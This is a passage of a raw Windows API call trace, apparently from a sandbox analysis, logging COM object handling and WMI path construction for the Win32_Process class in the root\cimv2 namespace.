[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b3d0) returned 0x0 [0161.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0161.490] WbemDefPath:IUnknown:AddRef (This=0x1aa0b3d0) returned 0x3 [0161.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0161.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0161.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8b20) returned 0x0 [0161.490] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8b20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.490] WbemDefPath:IUnknown:Release (This=0x1bbd8b20) returned 0x3 [0161.490] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0161.491] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0161.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0161.491] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x2 [0161.491] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x1 [0161.491] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0161.491] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0161.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b3d0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b3d0) returned 0x0 [0161.491] WbemDefPath:IUnknown:AddRef (This=0x1aa0b3d0) returned 0x3 [0161.491] WbemDefPath:IUnknown:Release (This=0x1aa0b3d0) returned 0x2 [0161.491] WbemDefPath:IWbemPath:SetText (This=0x1aa0b3d0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b3d0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b3d0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0161.491] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0b0d0) returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b3d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0161.491] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b0d0, uIndex=0x0, pszName="ROOT") returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0161.491] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b3d0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0161.491] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b0d0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0b0d0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0161.492] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0b0d0, Name="Win32_Process") returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b0d0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b0d0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0161.492] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0161.492] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0161.492] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0161.492] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0161.493] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.494] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bbd8900) returned 0x0 [0161.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8900, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0161.495] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8900, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1aa0b310) returned 0x0 [0161.495] WbemDefPath:IUnknown:Release (This=0x1bbd8900) returned 0x0 [0161.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1aa0b310) returned 0x0 [0161.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0161.495] WbemDefPath:IUnknown:AddRef (This=0x1aa0b310) returned 0x3 [0161.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0161.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0161.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bbd8820) returned 0x0 [0161.496] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8820, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.496] WbemDefPath:IUnknown:Release (This=0x1bbd8820) returned 0x3 [0161.496] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0161.496] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0161.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0161.496] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x2 [0161.496] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x1 [0161.496] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0161.496] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0161.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1aa0b310) returned 0x0 [0161.496] WbemDefPath:IUnknown:AddRef (This=0x1aa0b310) returned 0x3 [0161.496] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x2 [0161.496] WbemDefPath:IWbemPath:SetText (This=0x1aa0b310, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0161.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0161.496] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0161.496] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.496] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0161.496] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0161.497] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0161.497] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.498] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd85e0) returned 0x0 [0161.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd85e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0161.499] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd85e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b250) returned 0x0 [0161.502] WbemDefPath:IUnknown:Release (This=0x1bbd85e0) returned 0x0 [0161.502] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b250) returned 0x0 [0161.502] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0161.503] WbemDefPath:IUnknown:AddRef (This=0x1aa0b250) returned 0x3 [0161.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0161.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0161.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8480) returned 0x0 [0161.503] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8480, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.503] WbemDefPath:IUnknown:Release (This=0x1bbd8480) returned 0x3 [0161.503] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0161.503] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0161.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0161.503] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x2 [0161.503] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x1 [0161.503] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0161.503] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0161.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b250) returned 0x0 [0161.504] WbemDefPath:IUnknown:AddRef (This=0x1aa0b250) returned 0x3 [0161.504] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x2 [0161.504] WbemDefPath:IWbemPath:SetText (This=0x1aa0b250, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b310, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b250, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b250, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0161.504] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0b310) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b250, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b250, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b250, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0161.504] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b310, uIndex=0x0, pszName="root") returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b250, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0b250, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0161.504] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0b310, uIndex=0x1, pszName="cimv2") returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b250, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b250, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b310, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b310, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0b310, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0161.504] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0161.505] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0161.505] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b310, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0161.505] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b310, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0161.505] 